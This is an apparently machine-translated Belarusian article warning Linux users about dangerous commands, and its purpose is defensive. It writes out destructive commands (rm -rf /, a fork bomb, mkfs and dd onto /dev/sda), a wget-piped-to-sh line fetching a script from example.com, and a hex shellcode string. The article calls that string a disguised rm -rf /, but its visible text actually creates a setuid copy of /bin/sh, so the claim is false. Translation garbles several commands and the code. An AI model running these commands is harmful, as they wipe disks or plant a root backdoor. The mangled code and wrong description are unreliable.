вобраз

Каманды тэрмінала Linux магутныя, і Linux не просіць у вас пацверджання, калі вы запусціце каманду, якая парушыць вашу сістэму. Гэта не рэдкасць, калі тролі ў Інтэрнэце рэкамендуюць новым карыстальнікам Linux выконваць гэтыя каманды як жарт.

Вывучэнне каманд, якія вы не павінны выконваць, можа дапамагчы абараніць вас ад троляў, а таксама павялічыць ваша разуменне таго, як працуе Linux. Гэта не вычарпальнае кіраўніцтва, і каманды тут можна рэміксаваць рознымі спосабамі.

Звярніце ўвагу, што многія з гэтых каманд будуць небяспечныя толькі ў тым выпадку, калі яны будуць з прэфіксам суда на Ubuntu - яны не будуць працаваць інакш. У іншых дыстрыбутывах Linux большасць каманд павінна запускацца як корань.

Крэдыт малюнка: Чарап і крыжыкі рэміксавалі ад Джэйсана Форда ў Twitter

rm -rf / - выдаляе ўсё!

Каманда rm -rf / выдаляе ўсё, што магчыма, уключаючы файлы на цвёрдым дыску і файлы на падлучаных здымных мультымедыйных прыладах. Гэтая каманда больш зразумелая, калі яна разбіта:

rm - Выдаліце ​​наступныя файлы. -rf - Запусціце rm рэкурсіўна (выдаліце ​​ўсе файлы і папкі ў названай тэчцы) і прымусіце выдаліць усе файлы, не прапаноўваючы вам. / - Кажа, што RM запускаецца ў каранёвай дырэкторыі, якая змяшчае ўсе файлы на вашым кампутары і ўсе змантаваныя медыя-прылады, у тым ліку аддаленыя агульныя файлы і здымныя дыскі.

Linux з радасцю падпарадкоўваецца гэтай камандзе і выдаляе ўсё, не прапаноўваючы вам, таму будзьце ўважлівыя пры выкарыстанні! Каманда rm можа выкарыстоўвацца і іншымі небяспечнымі спосабамі - rm –rf ~ выдаляе ўсе файлы з вашай хатняй тэчкі, а rm -rf. * Выдаляе ўсе вашыя файлы канфігурацыі.

Урок: сцеражыцеся rm -rf.

Пераапрануты rm -rf /

Вось яшчэ адзін фрагмент кода па ўсім Інтэрнэце:

char esp [] __attribute__ ((раздзел (". тэкст")) / * esp release * / = "\ xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68" " \ xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99 "" \ xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7 "" \ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56 "" \ x8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31 "" \ xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69 "" \ x6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00 "" cp - p / bin / sh /tmp/.beyond; chmod 4755 /tmp/.beyond; ”;

Гэта шаснаццатная версія rm –rf / - выкананне гэтай каманды выдаляе вашыя файлы так жа, як калі б вы запусцілі rm –rf /.

Урок: Не выконвайце дзіўныя, відавочна замаскіраваныя каманды, якія вы не разумееце.

: () {: |: &} ;: - відэлец

Наступны радок - простая, але небяспечная функцыя башу:

: () {: |: &} ;:

Кароткая радок вызначае функцыю абалонкі, якая стварае новыя копіі. Працэс пастаянна паўтараецца, а яго копіі пастаянна рэплікуюць, хутка займаючы ўвесь час і памяць працэсара. Гэта можа прывесці да замярзання кампутара. Гэта ў асноўным атака адмовы ў абслугоўванні.

Урок: Bash функцыі магутныя, нават вельмі кароткія.

вобраз

Крэдыт малюнка: Дайк на Вікісховішчы

mkfs.ext4 / dev / sda1 - Фарматуе жорсткі дыск

Каманду mkfs.ext4 / dev / sda1 лёгка зразумець:

mkfs.ext4 - Стварыце новую файлавую сістэму ext4 на наступным прыладзе. / dev / sda1 - Указвае першы раздзел на першым цвёрдым дыску, які, верагодна, выкарыстоўваецца.

У сукупнасці гэтая каманда можа быць эквівалентна запушчанаму фармату c: у Windows - яна выдаліць файлы на першым раздзеле і заменіць іх новай файлавай сістэмай.

Гэтая каманда можа быць і ў іншых формах - mkfs.ext3 / dev / sdb2 будзе фарматаваць другі раздзел на другім цвёрдым дыску з файлавай сістэмай ext3.

Урок: Сцеражыцеся запуску каманд непасрэдна на прыладах жорсткага дыска, якія пачынаюцца з / dev / sd.

каманда> / dev / sda - запісвае непасрэдна на жорсткі дыск

Каманда "/ dev / sda" працуе аналагічна - яна запускае каманду і адпраўляе высновы гэтай каманды непасрэдна на першы цвёрды дыск, запісваючы дадзеныя непасрэдна на дыск жорсткага дыска і пашкоджваючы вашу файлавую сістэму.

каманда - Запусціце каманду (можа быць любая каманда.)> - Адпраўце вывад каманды ў наступнае месца. / dev / sda - запішыце вывад каманды непасрэдна на прыладу жорсткага дыска.

Урок: Як і вышэй, асцярожна выконвайце каманды, якія ўключаюць прылады жорсткага дыска, якія пачынаюцца з / dev / sd.

dd if = / dev / random of = / dev / sda - Запісвае непажаданую на жорсткі дыск

DD, калі = / dev / random of = / dev / sda, таксама выдаліць дадзеныя на адным з вашых жорсткіх дыскаў.

dd - Выкананне нізкага ўзроўню капіявання з аднаго месца ў іншае. калі = / dev / random - Выкарыстоўвайце / dev / random (выпадковыя дадзеныя) у якасці ўваходных дадзеных - вы можаце таксама ўбачыць такія месцы, як / dev / zero (нулі). of = / dev / sda - выводзім на першы цвёрды дыск, замяняючы сваю файлавую сістэму выпадковымі дадзенымі смецця.

Урок: dd капіюе дадзеныя з аднаго месца ў іншае, што можа быць небяспечна, калі вы капіруеце непасрэдна на прыладу.

жорсткія дыскі-ліхтары

Крэдыт малюнка: Мэт Рудж на Flickr

mv ~ / dev / null - перамяшчае хатні каталог у чорную дзірку

Абнаўленне: гэта звычайная памылка, і мы памыліліся. Нягледзячы на ​​вялікую размову ў Інтэрнэце, перамяшчаць файлы і папкі ў / dev / null немагчыма. Аднак калі вы выводзіце ці перанакіроўваеце карысныя дадзеныя ў / dev / null, яны будуць выкінутыя і знішчаныя.

/ dev / null - яшчэ адно адметнае месца - перамяшчаць што-небудзь у / dev / null - гэта тое ж самае, што знішчаць яго. Падумайце пра / dev / null як пра чорную дзірку. Па сутнасці, mv ~ / dev / null адпраўляе ўсе свае асабістыя файлы ў чорную дзірку.

mv - перамесціце наступны файл альбо каталог у іншае месца. ~ - Уяўляе ўсю вашу хатнюю тэчку. / dev / null - Перамясціце хатнюю папку ў / dev / null, знішчыўшы ўсе вашыя файлы і выдаліўшы арыгінальныя копіі.

Урок: сімвал ~ уяўляе вашу хатнюю тэчку, а перамяшчэнне рэчы ў / dev / null знішчае іх.

wget http://example.com/something -O - | sh - Загрузкі і выкананне сцэнарыя

Прыведзены вышэй радок загружае сцэнар з Інтэрнэту і адпраўляе яго на sh, які выконвае змесціва сцэнарыя. Гэта можа быць небяспечна, калі вы не ўпэўненыя, што такое сцэнар альбо калі вы не давяраеце яго крыніцы - не запускайце ненадзейныя сцэнарыі.

wget - Загрузка файла. (Вы таксама можаце ўбачыць скручванне замест wget.) Http://example.com/something - Загрузіце файл з гэтага месца. | - Труба (адпраўка) вываду каманды wget (файл, які вы загрузілі) непасрэдна ў іншую каманду. sh - адпраўце файл камандзе sh, якая выконвае яго, калі гэта сцэнар bash.

Урок: Не загружайце і не запускайце неправераныя сцэнарыі з Інтэрнэту, нават з камандай.

Ведаеце любыя іншыя небяспечныя каманды, якія новыя (і вопытныя) карыстальнікі Linux не павінны запускаць? Пакіньце каментар і падзяліцеся імі!